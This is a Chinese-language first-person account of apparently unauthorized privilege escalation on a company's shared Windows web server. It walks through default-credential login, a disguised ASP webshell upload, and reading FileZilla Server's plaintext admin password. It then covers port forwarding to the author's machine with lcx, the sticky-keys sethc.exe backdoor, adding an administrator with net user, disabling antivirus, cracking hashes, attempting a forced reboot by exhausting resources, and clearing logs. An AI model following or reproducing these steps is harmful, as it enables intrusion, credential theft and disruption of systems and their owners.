記一次FileZillaServer提權
前段時間檢測一個企業網站,在檢測該企業的一個下屬公司的網站時通過用戶名admin和密碼123456進入了後臺,後臺目錄就是公司漢語拼音+admin,諸如xxxadmin這種形式的。在後臺通過“產品圖片”上傳了一個改名為“2010.asp;x.jpg”的asp一句話木馬,順利得到了webshell,webshell的地址為公司網址/pic/22302010.asp;x.jpg”。
使用一句話木馬的“Get Drivers”功能列出了C、D、E、F、G、H盤的大小和可用空間的大小,看來權限還比較大,於是我就想來嘗試一下提權。使用一句話木馬獲得網站的物理路徑後嘗試上傳aspx木馬ASPXSpy2009,上傳成功了,但在訪問時卻不匹配,看來這個網站不支持aspx文件啊。
為了方便操作,我使用一句話木馬上傳了一個asp大馬,通過asp大馬發現服務器權限設置的很松,幾乎可以瀏覽任何目錄,也可以瀏覽別的網站的目錄,並且有寫權限。“c:\windows\system32\”目錄不出意料的只有讀取權限,WScript.Shell沒有刪除,嘗試使用系統中的“c:\windows\system32\cmd.exe”來執行命令,提示拒絕訪問,我上傳了一個cmd.exe到網站目錄下,這次可以執行命令了。通過執行“netstat -an”命令發現3389端口開放了,使用我的遠程桌面連接程序連接一下,發現可以連接,因此登錄服務器的3389就成了我的一個目標。通過“netstart”命令還發現服務器安裝了FileZilla Server FTP server.McAfee殺毒軟件以及MSSQL。
我在服務器的硬盤上翻查著有用的信息,發現服務器上有很多網站,但沒有找到sa用戶的密碼,甚至沒有發現服務器上的任何一個網站使用的是MSSQL數據庫。繼續翻查硬盤,我拿到的webshell的網站是在“F:\dongtai\”目錄下,在“F:\wood\”目錄下發現也有很多網站,在一個網站的目錄下嘗試上傳ASPXSpy,這次終於可以運行了。
有了aspx的webshell使用起來就更方便了,首先WScript.Shell可以直接調用系統目錄下的cmd.exe就能執行命令了,不用再像調用網站目錄下的cmd.exe那樣要帶網站目錄的路徑才行,另外就是利用ASPXSpy的“IIS Spy”功能發現了服務器上運行著140個網站。我測試了一下,發現aspx的webshell對於“c:\window\system32\”目錄下的文件同樣只有讀取權限。
既然webshell已經拿到手了,就要考慮提權了,一個網站下的webshell居然可以瀏覽別的網站目錄下的文件,還有寫權限,看來管理員的安全做的實在不怎麽樣啊,不試試提權還真對不起他了。想了想常用的提權方法,好像都用不上,對了,剛才不是發現服務器上安裝了FileZilla Server FTP server嗎,說不定它就是一個突破口。在“D:\ProgramFiles\FileZilla Server\”目錄下找到了FileZilla Server的安裝目錄,嘗試復制該目錄下的FileZilla server.exe,復制成功了,這說明該目錄可寫。
這對我絕對是個好消息,通過tasklist命令發現了FileZilla server.exe和FileZilla Server Interfac.exe正在運行,使用木馬替換上面的任意一個文件,等到FileZilla Server重啟或系統重啟後就會運行我們的木馬了,到此我已經找到了一種提權的方法。這個替換文件的提權方法雖然可行,但弊端也很大,即使提權成功了,也會把服務器上的FileZilla Server搞掛,很容易被管理員發現,提權本來就是無聊玩玩,為此影響到服務器的正常運行那可就不好了。
如果真要使用替換文件的方法來提權,我們還可以考慮對FileZilla server.exe進行文件插碼,加入添加一個系統管理員用戶的代碼,這樣當系統重啟後就會添加一個管理員用戶,使用添加的管理員用戶再直接登錄3389也是一種提權方法,這比使用木馬直接替換FileZilia server.exe要更好,但仍然要對FileZilla server.exe進行修改,也可能會被管理員發現,再來找找,說不定還有更好的方法。
我在FileZilla Server的安裝目錄下發現有一個FileZiIlaS erver.xml文件,使用websbell查看它的內容,發現它保存著FTP軟件FileZilla Server的用戶信息。
其中“User Name”後面是FTP用戶的用戶名,“Pass”後面是經過MD5加密後的密碼值(32位),“Permission Dir”是該FTP用戶可以管理的目錄,這裏為“F:”,也就是整個F盤。“Permissions”下面是該FTP用戶的權限設置,比如“FileWrite”的值為“1”,就說明該FTP用戶在該目錄下有寫權限,如果為“0”,則表示沒有寫權限。經測試,FileZilla Server.xml同樣可以寫,於是我考慮通過修改這個文件來添加一個對C盤有完全權限的用戶,然後再通過FTP登錄後利用shift後門來提權。我不知道具體怎樣通過修改FileZilla Server.xml來添加用戶,為了保險起見,還是先在我的電腦上測試好後再在服務器上進行修改吧。
在服務器的H盤根目錄下發現了一個名為FileZilla_Server-0_9_31.exe的文件,估計就是服務器上FileZillaServer的安裝文件,下載回來後,在虛擬機裏進行了安裝,軟件是英文的,一路點擊“Next”,不用做任何修改,最後點擊“Install”後就可以完成安裝了。FileZilla Server的管理端口默認為14147,默認管理密碼為空,直接點擊“OK”按鈕,看到那個“Logged on”的提示就說明登錄成功了。
點擊“Edit”菜單下的“Settings”就來到了軟件的設置界面,在這裏可以設置客戶端的連接端口、連接超時等,點擊“Admin Interface seetings”,選中“Change admin password”,輸入要設置的新密碼,就可以修改FileZiila Server的管理密碼了。
"IP Addresses which are allowed to connect to the admininterface:”是設置允許哪些IP連接到管理控制臺,默認情況下只有127.0.0.1可以,這給我們的提權帶來了一些小麻煩,如果允許任何IP連接到管理控制臺,那提權就太簡單了。我發現這些設置都保存在了FileZilla Server安裝目錄下的FileZiIla Server Interface.xml文件中,使用記事本打開後就會發下裏面的內容。
很簡單的,“Last Server Port”是管理端口,這裏為默認的14147,“Last Server Address”是上次登錄的IP,“Last Server Password”是管理密碼,修改了管理密碼的話會在這裏顯示出來,我在設置中把密碼修改為了hackerxfiles,重新登錄一下管理控制臺,再打開FileZillaServer Interface.xml文件,在“Last Server Password”後面看到了剛修改的密碼hackerxfiles。
到此我們就知道了FileZilla Server的管理密碼是以明文的形式保存在FileZilla Server安裝目錄下的FileZilla ServerInterface.xml文件中,真有點兒搞不明白軟件的作者是怎麽想的,普通FTP用戶的密碼經過MD5加密後保存了,而重要的控制臺管理密碼卻以明文的形式保存在文件中,難道是疏忽了?
我馬上想到服務器上FileZilla Server的控制臺管理密碼是否修改了,使用webshell查看服務器上FileZilla Server安裝目錄下的FileZilia Server Interface.xml.發現密碼果然更改了,修改為了bmlink,把它記錄下來,說不定有什麽用的。下面來看怎樣添加用戶,點擊有一個小人頭像的“Users”按鈕就打開了用戶管理界面,在這裏可以增加、刪除FTP用戶,並對FTP用戶的主目錄、權限等進行設置。右上角的“Users”編輯框下會顯示所有的FTP用戶列表,由於還沒添加任何FTP用戶,因此用戶列表是空的。我們來添加一個用戶,點擊“Add”按鈕會彈出了“Add useraccount”對話框,輸入想要添加的FTP用戶的名字,這裏我輸入了hackefXfiles,下面的選擇用戶組不用管,點擊OK按鈕後就添加了一個用戶,我們來給這個用戶設置一個密碼,選擇“Password”單選框,在後面輸入想要設置的密碼,這裏我設置密碼為123456。
接下來設置這個FTP用戶的主目錄,點擊“Sharefolders”選擇,點擊“Add”按鈕來添加主目錄,這裏主目錄我選擇了c盤,單擊一下剛才添加的目錄“c:\”,把右面的權限都選上。然後點擊左下角的“OK”按鈕,用戶就添加完成了,試著使用該用戶登錄一下FTP,功能一切正常。
本機會添加用戶了,就該通過修改FileZilla Server.xml來給服務器添加用戶了。本機添加hackerxfiles這個FTP用戶後,本來我想通過直接復制添加的用戶信息到服務器上,但不確定用戶信息具體是從哪裏開始哪裏和結束,為了穩妥起見,我決定采用把服務器上的FileZilla Server.xml下載到本機,覆蓋本機的FileZilla Server.xml,添加好用戶後再使用添加好用戶的FileZilla Server.xml覆蓋服務器上的FileZilla Server.xml。
把服務器上的FileZilla Server.xml下載到本機並覆蓋本機的FileZilla Server.xml,為了使新的FileZilla Server.xml生效,還需要依次點擊開始菜單中的Stop FileZilla Server和Start FileZilla Server來重啟FileZilla Server。登錄管理控制臺,添加一個名為test,密碼為123456,對c盤有完全權限的用戶,然後把FileZilla Server,xml上傳到服務器中.備份服務器上原來的FileZilla Server.xml後覆蓋。只要服務器重啟或FileZilla Server重啟,那麽添加的用戶就會生效了,管理員一般不會無緣無故重啟的,看來只能耐心的等等了。
為了知道服務器是否重啟,我使用webshell執行命令systeminfo,發現了如下的命令回顯“系統啟動時間:15天13小時44分19秒”,這說明系統已經15天沒有重啟了,還是耐心的等待吧。我每天都使用websbell執行一次systeminfo命令來查看服務器重啟了沒有,但令我失望的是系統啟動時間一天一天增加,可就是不見服務器重啟,我等不及了,看來要另想別的辦法了。
使用什麽辦法才可以讓服務器重啟昵,我搜索了一下在webshell下重啟服務器的方法,大多數都是消耗完服務器的系統資源讓服務器重啟,我找到了一個guest權限下可以運行的讓服務器重啟的程序,原理也是消耗系統資源,先在虛擬機中測試了一下效果,我的虛擬機系統是512MB的內存,運行程序後很快系統就假死了,只能重新啟動。通過webshell把程序上傳到服務器中,運行後我就去幹別的事了,過了3個多小時再去webshell上查看,發現服務器還是沒有重啟,我叉運行了一次程序,第二天再去查看,服務器依然沒有重啟。估計是服務器配置比較高的原因吧,通過webshell讓服務器重啟的方法看來也行不通了。
靜下心來想了一想,我現在使用的提權方法,只需要等服務器重啟就可以提權成功了,那有沒有別的方法呢?通過搜索發現網上介紹的FileZilla Server的提權方法除了我上面使用的修改FileZilla Server.xml添加FTP用戶外,還提到了一種方法就是通過FPipe把FileZilla Server的‘默認管理端口轉發到別的端口,這有點兒類似於Serv-U的轉發端口提權。我先在虛擬機裏測試了一下,在一臺支持aspx的虛擬機的Windows7系統中安裝FileZilla Server,作為假想服務器,IP地址為192.168.32.128,在虛擬機裏的另一臺Windows 2003系統中只安裝FileZilla Server的“Administralion interface”,也就是只安裝FileZilla Server的管理控制臺,安裝好後嘗試登錄假想服務器系統中FileZilla Server的控制臺,盡管密碼正確卻不能連接,因為14147端口綁定了登錄lP為127.0.0.1,也就是只能在本機登錄。通過webshell把FPipe.exe上傳到網站根目錄下,然後執行以下命令“C:\www\FPipe.exe—v—l 12345-r 14147127.0.0.1”,其中“C:\www\”就是網站目錄,該命令的意思就是把連接到12345端口的數據轉發到l4147端口,命令執行後使用FileZilla Server IntBrface連接l92.168.32.128的12345端口,成功登錄了。
在虛擬機裏測試成功了,下面就來到遠程服務器上實際提權,使用虛擬機裏系統中的McAfee殺毒軟件掃描了一下我使用的FPipe.exe,沒有報毒,省得做免殺了。把FPipe.exe上傳到服務器的網站目錄下,執行端口轉發命令後滿懷希望的使用控制臺程序FileZilla Server Interface進行連接,卻還是連接不上,郁悶了。通過執行“netstat -an”命令發現12345端口在監聽了,就是連不上,telnet-下服務器的12345端口,連接失敗,可能是服務器上的防火墻阻止了連接,後來登錄到服務器後確實發現服務器上開著系統自帶的防火墻。我在虛擬機裏安裝了FileZⅢa Server的系統中打開Windowa自帶的防火墻,還是使用FPipe轉發端口,用控制臺程序FileZilia Server Interface連接就連不上了,軟件提示“Connection to server lost”,這個方法又沒有成功。
睡了一覺後,我打算再碰碰運氣,首先使用htran從服務器上反彈了一個代理到我的電腦上,使用SocksCap32連接上代理後再進行連接,依然登錄不成功。這時候我又想到了在登錄內網電腦的3389時用到的lcx,可不可以把服務器的14147端口轉發到我的電腦上來進行登錄呢?反正在網上沒有看到使用這個方法的,來試試吧。在本機上安裝FileZilla Server的Administration interface,然後
在本機抗行命令“lcx.exe。listen 5114147”,我又找了一個免殺McA fee的lcx.e上傳到服務器的網站目錄下,在webshell中執行“lcx.cxe -slave123,123.123.123 51 127.0.0.‘1 14147”,其中假設123.123.I 23.123就是我電腦的公網IP地址。成功把數據轉發了出來,使用FileZilla Server Interface連接,連接lP就寫127.0.0.1,
端口使用默認的14147,連接密碼就寫找到的管理密碼bmlink,點擊“Ok”按鈕後過了一兩秒鐘終於登錄成功了!馬上添加了一個名為est,密碼為123456,對c盤有完全權限的用戶,然後使用test用戶成功登錄了FTP。登錄FTP後切換到C:\WINDOWS\system32\dllcache目錄下,然後執行命令“getsethc.cxe”,把服務器上的C:\WINDOWS\system32\dllcache目錄下的sethc.exe下載到本機備份,方便過一會兒恢復使用,執行“delsethc.exe”把當前量錄下的sethc.exe刪除,再執行“get cmd.exe“把服務器上C:\WINDOWS\system32\dllcache目錄下的cmd.exe下載到本地,然後把下載回來的cmd.exe重命名為sethc.exe,然後再通過命令“put sethc.exe”把剛才改名為sethc.exe的cmd.exe上傳到服務器的c:\WINDOWS\system32\dIJcache目錄下,然後執行命令“cd”把目錄切換到C:\WINDOWS\system32\目錄下,分別執行命令“del sethc.exe”, “put sethc.exe”。
執行完這些命令後就完成了在服務器上使用cmd.exe替換sethc.exe,我們使用遠程桌面連接程序連接服務器的IP,在出來的用戶登錄界面下按5下shift鍵,就出來了cmd窗口。
在這個cmd窗口中執行命令“net user 123 123 /add”,“net localgroup administrators 123 /add",添加了一個用戶名和密碼都為123的管理員用戶,然後使用23用戶登錄服務器的3389,登錄3389後我叉想抓取管理員用戶的密碼hash值,但上傳PwDump71時被McAfee查殺了,選擇McAfee的“禁用按訪問掃描”後把PwDump71傳了上去,成功抓取了用戶的hash,使用7.9G的彩虹表成功破解出了管理員的密碼為[email protected]#321,然後使用管理員用戶登錄了遠程桌面。
把替換的sethc.exe恢復過來,再把建立的FTP用戶刪除掉,清理一下FileZilla Server的日誌,提權就完成了。整個提權的過程中沒用到什麽新技術,都是一些老方法和老工具的組合,從找到提權方法到找到更好的提權方法,根據遇到的問題不斷變化應對的方法,最終用自己滿意的方法完成了提權。
QQ空間 新浪微博記一次FileZillaServer提權